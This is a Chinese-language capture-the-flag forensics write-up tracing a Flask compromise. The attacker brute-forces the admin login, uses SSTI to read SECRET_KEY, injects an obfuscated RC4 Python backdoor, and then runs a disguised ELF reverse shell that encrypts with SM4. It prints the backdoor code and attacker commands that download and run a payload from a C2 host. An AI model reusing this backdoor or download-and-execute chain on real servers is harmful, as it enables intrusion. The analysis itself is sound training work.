玄机靶场-第三届-长城杯-初赛-SnakeBackdoor WP
玄机靶场-第三届长城杯初赛-SnakeBackdoor WP困难级别6步综合考察流量分析 Flask SSTI漏洞利用 RC4加密逆向 ELF二进制逆向 LD_PRELOAD Hook技术。整条攻击链从爆破后台到植入Python伪装木马最后通过SM4加密反弹Shell拿到flag链路清晰但每步都有一定深度。1. 爆破后台密码第一步要找攻击者爆破成功的那个密码。打开流量包过滤 HTTP 流量直接翻/admin/login的请求记录。爆破过程会产生大量 POST 请求大部分返回 200 或 401唯一那条返回302 跳转的就是密码正确的那次。在 Wireshark 里用http.request.method POST http contains /admin/login过滤倒着看找到最后一条 302跟进 HTTP 流查看 POST 的 bodyusernameadminpasswordzxcvbnm123302 跳转说明登录成功密码就是zxcvbnm123。Flag 1flag{zxcvbnm123}2. 获取 Flask SECRET_KEY攻击者登录后台后利用了 Flask 应用的某个漏洞读取到了 SECRET_KEY。在流量包里直接搜索关键字SECRET_KEY很快就能在 HTTP 响应体里找到SECRET_KEY c6242af0-6891-4510-8432-e1cdf051f160这个 SECRET_KEY 是 Flask session 签名密钥拿到之后攻击者可以伪造任意 session进一步利用后台功能。漏洞点在/admin/preview接口是一个 SSTI服务端模板注入漏洞通过preview_content参数注入恶意模板表达式读取了应用配置。Flag 2flag{c6242af0-6891-4510-8432-e1cdf051f160}3. 分析注入 Payload 中的加密密钥拿到 SECRET_KEY 后攻击者继续利用/admin/preview的 SSTI 注入了一段 Python 木马 Payload。追踪下一条/admin/preview的 POST 流量在preview_content参数里能看到一段混淆的 base64 代码importbase64;exec(base64.b64decode(XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS...))把exec改成print运行得到第一层解码结果_lambda__:__import__(zlib).decompress(__import__(base64).b64decode(__[::-1]));exec((_)(bc4CU3xP//vPzftv8gri635a0T1rQv...))这是一个递归加密结构base64 zlib 反转多层嵌套。编写脚本递归解密所有层最终得到木马的核心代码RC4_SECRETbv1p3r_5tr1k3_k3ydefrc4_crypt(data:bytes,key:bytes)-bytes:Slist(range(256))j0foriinrange(256):j(jS[i]key[i%len(key)])%256S[i],S[j]S[j],S[i]ij0resbytearray()forcharindata:i(i1)%256j(jS[i])%256S[i],S[j]S[j],S[i]res.append(char^S[(S[i]S[j])%256])returnbytes(res)defbackdoor_handler():ifrequest.headers.get(X-Token-Auth)!3011aa21232beb7504432bfa90d32779:returnErrorenc_hex_cmdrequest.form.get(data)...cmdrc4_crypt(enc_cmd,RC4_SECRET).decode(utf-8)...木马使用 RC4 对称加密隐藏通信内容密钥字符串硬编码为v1p3r_5tr1k3_k3y并通过X-Token-Auth请求头做身份验证。Flag 3flag{v1p3r_5tr1k3_k3y}4. 找到木马本体文件名木马后门通过X-Token-Auth: 3011aa21232beb7504432bfa90d32779头部认证在流量包里搜索这个 token 值找到所有后门通信流量。用上一步拿到的 RC4 密钥v1p3r_5tr1k3_k3y编写解密脚本批量解密所有data字段的十六进制密文importbinascii RC4_SECRETbv1p3r_5tr1k3_k3ydefrc4_crypt(data:bytes,key:bytes)-bytes:Slist(range(256))j0foriinrange(256):j(jS[i]key[i%len(key)])%256S[i],S[j]S[j],S[i]ij0resbytearray()forcharindata:i(i1)%256j(jS[i])%256S[i],S[j]S[j],S[i]res.append(char^S[(S[i]S[j])%256])returnbytes(res)defdecrypt(enc_hex_cmd):enc_cmdbinascii.unhexlify(enc_hex_cmd)cmdrc4_crypt(enc_cmd,RC4_SECRET).decode(utf-8,errorsignore)print(cmd)解密后还原出攻击者执行的完整命令序列id uid0(root) gid0(root) groups0(root) ls -al total 36 drwxr-xr-x 5 root root 4096 Dec 20 13:55 . ... -rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip Archive: /tmp/123.zip inflating: /tmp/shell mv /tmp/shell /tmp/python3.13 chmod x /tmp/python3.13 /tmp/python3.13攻击者从 C2 下载了一个shell.zip密码nf2jd092jd01解压得到二进制文件shell然后把它改名为python3.13伪装成 Python 解释器再赋权执行。木马本体文件名就是python3.13。Flag 4flag{python3.13}5. 逆向分析木马通信加密密钥这一步需要对python3.13即shell这个 ELF 二进制文件进行逆向分析。用 DIEDetect It Easy查壳确认无壳是标准 ELF 可执行文件。用 IDA Pro 分析主入口点程序建立 TCP 连接到 C2 地址192.168.1.201:58782连接成功后先接收 4 字节握手数据然后调用sub_18EDrecv 封装读取 4 字节种子值用这个种子调用srand()初始化随机数生成器连续调用 4 次rand()将返回的 4 个 32 位整数拼成 16 字节密钥数组v8后续所有通信数据都用这个动态生成的密钥加密SM4 算法关键逻辑程序通过 Socket 接收到的是大端序字节流在存入 seed 前需要进行字节序转换seed(command_8)0xFF00|(command_8)0xFF0000|(command_24)|HIBYTE(command_);在 Wireshark 里用以下过滤规则找到种子数据包(ip.src 192.168.1.201 tcp.port 58782) tcp.len 4第一条结果的内容就是种子34952046十六进制。编写 C 程序还原密钥注意必须在 Linux/Kali 上编译因为 Windows 和 Linux 的rand()实现不同#includestdio.h#includestdlib.h#defineHIBYTE(x)(((x)24)0xFF)intmain(){unsignedintseed0x34952046;srand(seed);for(inti0;i3;i){unsignedintrrand();unsignedchar*ptr(unsignedchar*)r;for(intj0;j4;j){printf(%02x,ptr[j]);}}return0;}在 Kali Linux 上编译运行得到 16 字节密钥hexac46fb610b313b4f32fc642d8834b456Flag 5flag{ac46fb610b313b4f32fc642d8834b456}6. 获取服务器上的 flag最后一步需要解密木马与 C2 之间的加密通信还原攻击者在服务器上执行的命令和获取的 flag。由于木马使用 SM4 加密且密钥是动态生成的直接静态分析解密较为复杂。这里采用LD_PRELOAD Hook技术通过劫持connect、rand、recv、popen、pclose、send等系统函数让木马在本地空跑将流量包中的密文注入程序由程序自己完成解密再通过 hook 的popen打印出明文命令。核心 Hook 逻辑connect直接返回 0绕过 C2 连接检查rand返回预设密钥ac46fb610b313b4f32fc642d8834b456的各字节确保密钥一致recv按顺序注入从流量包中提取的密文长度和密文数据popen拦截并打印解密后的明文命令不实际执行pclose/send返回正常值防止程序因管道错误退出从 Wireshark 追踪流 1827ip.src 192.168.1.201 tcp.port 58782且tcp.len 4的第一条结果提取所有密文长度和密文对注入 Hook 代码后编译运行gcc-fPIC-shared-ohook.so hook.c-ldlLD_PRELOAD./hook.so ./python3.13注意出题人在流量包中将字符1和l、0和O互换进行了混淆需要手动还原后再注入。程序解密输出的最终命令序列中包含服务器上的 flagflag{6894c9ec-719b-4605-82bf-4fe1de27738f}Flag 6flag{6894c9ec-719b-4605-82bf-4fe1de27738f}总结这道题完整还原了一条从 Web 爆破到持久化驻留的攻击链攻击者爆破 Flask 后台 → 利用 SSTI 漏洞注入多层混淆的 RC4 后门 → 通过后门下载并执行伪装成 Python 解释器的 ELF 木马 → 木马使用动态 PRNG 密钥 SM4 加密建立反弹 Shell → 最终读取服务器 flag。Flag 汇总步骤内容Flag1爆破成功的后台密码flag{zxcvbnm123}2Flask SECRET_KEYflag{c6242af0-6891-4510-8432-e1cdf051f160}3RC4 加密密钥字符串flag{v1p3r_5tr1k3_k3y}4木马本体文件名flag{python3.13}5SM4 通信加密密钥hexflag{ac46fb610b313b4f32fc642d8834b456}6服务器 flagflag{6894c9ec-719b-4605-82bf-4fe1de27738f}